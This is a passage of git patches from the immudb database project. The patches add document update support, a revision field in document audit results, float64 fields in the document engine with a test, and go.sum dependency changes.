0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, + 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, + 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, + 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, + 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, + 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, + 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x33, } var ( @@ -1868,10 +1878,10 @@ var file_documentschema_proto_goTypes = []interface{}{ (*Proof)(nil), // 25: immudb.documentschema.Proof nil, // 26: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry nil, // 27: immudb.documentschema.CollectionInformation.IndexKeysEntry - (*_struct.Struct)(nil), // 28: google.protobuf.Struct + (*structpb.Struct)(nil), // 28: google.protobuf.Struct (*schema.VerifiableTx)(nil), // 29: immudb.schema.VerifiableTx - (_struct.NullValue)(0), // 30: google.protobuf.NullValue - (*_struct.Value)(nil), // 31: google.protobuf.Value + (structpb.NullValue)(0), // 30: google.protobuf.NullValue + (*structpb.Value)(nil), // 31: google.protobuf.Value } var file_documentschema_proto_depIdxs = []int32{ 28, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 6f18540d46..0b40ae715a 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -142,6 +142,7 @@ message DocumentAuditResponse { message DocumentAudit { google.protobuf.Struct value = 1; uint64 transactionID = 2; + uint64 revision = 3; } diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 7ec2f0717d..183f0b753d 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -371,6 +371,10 @@ "transactionID": { "type": "string", "format": "uint64" + }, + "revision": { + "type": "string", + "format": "uint64" } } }, @@ -592,7 +596,7 @@ "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 3bdf688ca8..71b348e7ff 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -31,6 +31,8 @@ type ObjectDatabase interface { CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) // DocumentAudit returns the document audit history DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) + // DocumentUpdate updates a document + DocumentUpdate(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) } func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { @@ -179,6 +181,7 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque for _, log := range historyLogs { resp.Results = append(resp.Results, &schemav2.DocumentAudit{ TransactionID: log.TxID, + Revision: log.Revision, Value: &structpb.Struct{ Fields: map[string]*structpb.Value{ "_obj": { @@ -191,3 +194,19 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque return resp, nil } + +// DocumentUpdate updates a document +func (d *db) DocumentUpdate(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { + // verify if document id is valid + docID, err := document.DocumentIDFromHex(req.DocumentId) + if err != nil { + return nil, fmt.Errorf("invalid document id: %v", err) + } + + revision, err := d.documentEngine.UpdateDocument(ctx, req.Collection, docID, req.Document) + if err != nil { + return nil, err + } + + return &schemav2.DocumentUpdateResponse{Revision: revision}, nil +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index b45af03c90..7c77f52840 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -272,3 +272,7 @@ func (d *closedDB) ListCollections(ctx context.Context, req *schemav2.Collection func (d *closedDB) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) { return nil, store.ErrAlreadyClosed } + +func (d *closedDB) DocumentUpdate(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { + return nil, store.ErrAlreadyClosed +} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 03c3a85268..aa6ab322aa 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -34,13 +34,16 @@ func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.Doc return resp, nil } -// TODO: implement func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *documentschema.DocumentUpdateRequest) (*documentschema.DocumentUpdateResponse, error) { - _, err := s.getDBFromCtx(ctx, "DocumentUpdate") + db, err := s.getDBFromCtx(ctx, "DocumentUpdate") if err != nil { return nil, err } - panic("Not implemented") + resp, err := db.DocumentUpdate(ctx, req) + if err != nil { + return nil, err + } + return resp, nil } func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.DocumentSearchRequest) (*documentschema.DocumentSearchResponse, error) { From 48be34a13757c82d557c4fdd3101f3b07b1742d6 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 4 Apr 2023 12:29:55 +0530 Subject: [PATCH 0395/1062] chore(embedded/document): add float support for doc engine --- embedded/document/document_id.go | 8 +++++ embedded/document/engine.go | 29 ++++++++++++++-- embedded/document/engine_test.go | 57 ++++++++++++++++++++++++++++++- embedded/sql/stmt.go | 4 +++ pkg/database/document_database.go | 3 +- 5 files changed, 95 insertions(+), 6 deletions(-) diff --git a/embedded/document/document_id.go b/embedded/document/document_id.go index 155b8531dd..fafd3a9962 100644 --- a/embedded/document/document_id.go +++ b/embedded/document/document_id.go @@ -43,6 +43,14 @@ func NewDocumentIDFromTx(txID uint64) DocumentID { return NewDocumentIDFromTimestamp(time.Now(), txID) } +// NewDocumentIDFromBytes generates a new DocumentID from a byte slice. +func NewDocumentIDFromBytes(b []byte) DocumentID { + // copy from bytes to DocumentID + var id DocumentID + copy(id[:], b) + return id +} + // NewDocumentIDFromTimestamp generates a new DocumentID from a timestamp. func NewDocumentIDFromTimestamp(timestamp time.Time, txID uint64) DocumentID { var b [DocumentIDLength]byte diff --git a/embedded/document/engine.go b/embedded/document/engine.go index cade8af94b..0256549ccb 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -42,6 +42,12 @@ var ( return nil, errType } return sql.NewBlob([]byte(value.GetStructValue().String())), nil + case sql.Float64Type: + _, ok := value.GetKind().(*structpb.Value_NumberValue) + if !ok { + return nil, errType + } + return sql.NewFloat64(value.GetNumberValue()), nil } return nil, errType @@ -60,6 +66,9 @@ var ( case sql.BLOBType: value.Kind = &structpb.Value_StringValue{StringValue: string(tv.RawValue().([]byte))} return value, nil + case sql.Float64Type: + value.Kind = &structpb.Value_NumberValue{NumberValue: tv.RawValue().(float64)} + return value, nil } return nil, errType @@ -74,10 +83,22 @@ var ( return 0, nil case sql.BLOBType: return 256, nil + case sql.Float64Type: + return 0, nil } return 0, errType } + + // transform value type based on column name + transformTypedValue = func(colName string, value sql.TypedValue) sql.TypedValue { + switch colName { + case defaultDocumentIDField: + docID := NewDocumentIDFromBytes(value.RawValue().([]byte)) + return sql.NewVarchar(docID.Hex()) + } + return value + } ) type Query struct { @@ -377,12 +398,14 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries document := &structpb.Struct{Fields: map[string]*structpb.Value{}} for i := range colDescriptors { - v := row.ValuesByPosition[i] - vtype, err := valueTypeToFieldValue(v) + colName := colDescriptors[i].Column + tv := row.ValuesByPosition[i] + transformedTV := transformTypedValue(colName, tv) + vtype, err := valueTypeToFieldValue(transformedTV) if err != nil { return nil, err } - document.Fields[colDescriptors[i].Column] = vtype + document.Fields[colName] = vtype } results = append(results, document) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 2a06972451..756c7c5429 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -72,7 +72,7 @@ func TestCreateCollection(t *testing.T) { context.Background(), collectionName, map[string]sql.SQLValueType{ - "number": sql.IntegerType, + "number": sql.Float64Type, "name": sql.VarcharType, "pin": sql.IntegerType, "country": sql.VarcharType, @@ -508,3 +508,58 @@ func TestDocumentUpdate(t *testing.T) { require.NoError(t, err) require.Equal(t, "value2", data["data"].(map[string]interface{})["key1"]) } + +func TestFloatSupport(t *testing.T) { + engine := makeEngine(t) + + collectionName := "mycollection" + err := engine.CreateCollection( + context.Background(), + collectionName, + map[string]sql.SQLValueType{ + "number": sql.Float64Type, + }, + ) + require.NoError(t, err) + + catalog, err := engine.Catalog(context.Background(), nil) + require.NoError(t, err) + + table, err := catalog.GetTableByName(collectionName) + require.NoError(t, err) + require.Equal(t, collectionName, table.Name()) + + col, err := table.GetColumnByName("number") + require.NoError(t, err) + require.Equal(t, sql.Float64Type, col.Type()) + + // add document to collection + _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "number": { + Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, + }, + }, + }) + require.NoError(t, err) + + // query document + expressions := []*Query{ + { + Field: "number", + Operator: sql.EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, + }, + }, + } + + // check if document is updated + docs, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 10) + require.NoError(t, err) + require.Equal(t, 1, len(docs)) + + // retrieve document + doc := docs[0] + require.Equal(t, 3.1, doc.Fields["number"].GetNumberValue()) +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 2d4b20f201..6329c1b899 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1799,6 +1799,10 @@ func (v *Blob) Compare(val TypedValue) (int, error) { return bytes.Compare(v.val, rval), nil } +func NewFloat64(val float64) *Float64 { + return &Float64{val: val} +} + type Float64 struct { val float64 } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 71b348e7ff..7349e4d36c 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -12,6 +12,7 @@ import ( var ( schemaToValueType = map[schemav2.IndexType]sql.SQLValueType{ + schemav2.IndexType_DOUBLE: sql.Float64Type, schemav2.IndexType_STRING: sql.VarcharType, schemav2.IndexType_INTEGER: sql.IntegerType, } @@ -78,8 +79,6 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat if !isValid { return nil, fmt.Errorf("invalid index key type: %v", pk) } - // TODO: add support for other types - // TODO: add support for auto increment indexKeys[name] = schType } From 0dabb2fd724fc46e42a1ca42d434287334c40731 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Wed, 5 Apr 2023 19:00:10 +0200 Subject: [PATCH 0396/1062] Merge master --- go.sum | 33 +++++++++------------------------ 1 file changed, 9 insertions(+), 24 deletions(-) diff --git a/go.sum b/go.sum index 8270bb5a4c..1b376971fe 100644 --- a/go.sum +++ b/go.sum @@ -698,8 +698,8 @@ golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5y golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.7.0 h1:AvwMYaRytfdeVt3u6mLaxYtErKYjxA2OXjJ1HHq6t3A= -golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -735,10 +735,8 @@ golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= -golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -790,10 +788,8 @@ golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= -golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ= -golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -828,7 +824,6 @@ golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220513210516-0976fa681c29/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -915,17 +910,13 @@ golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= +golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw= -golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -935,10 +926,8 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text 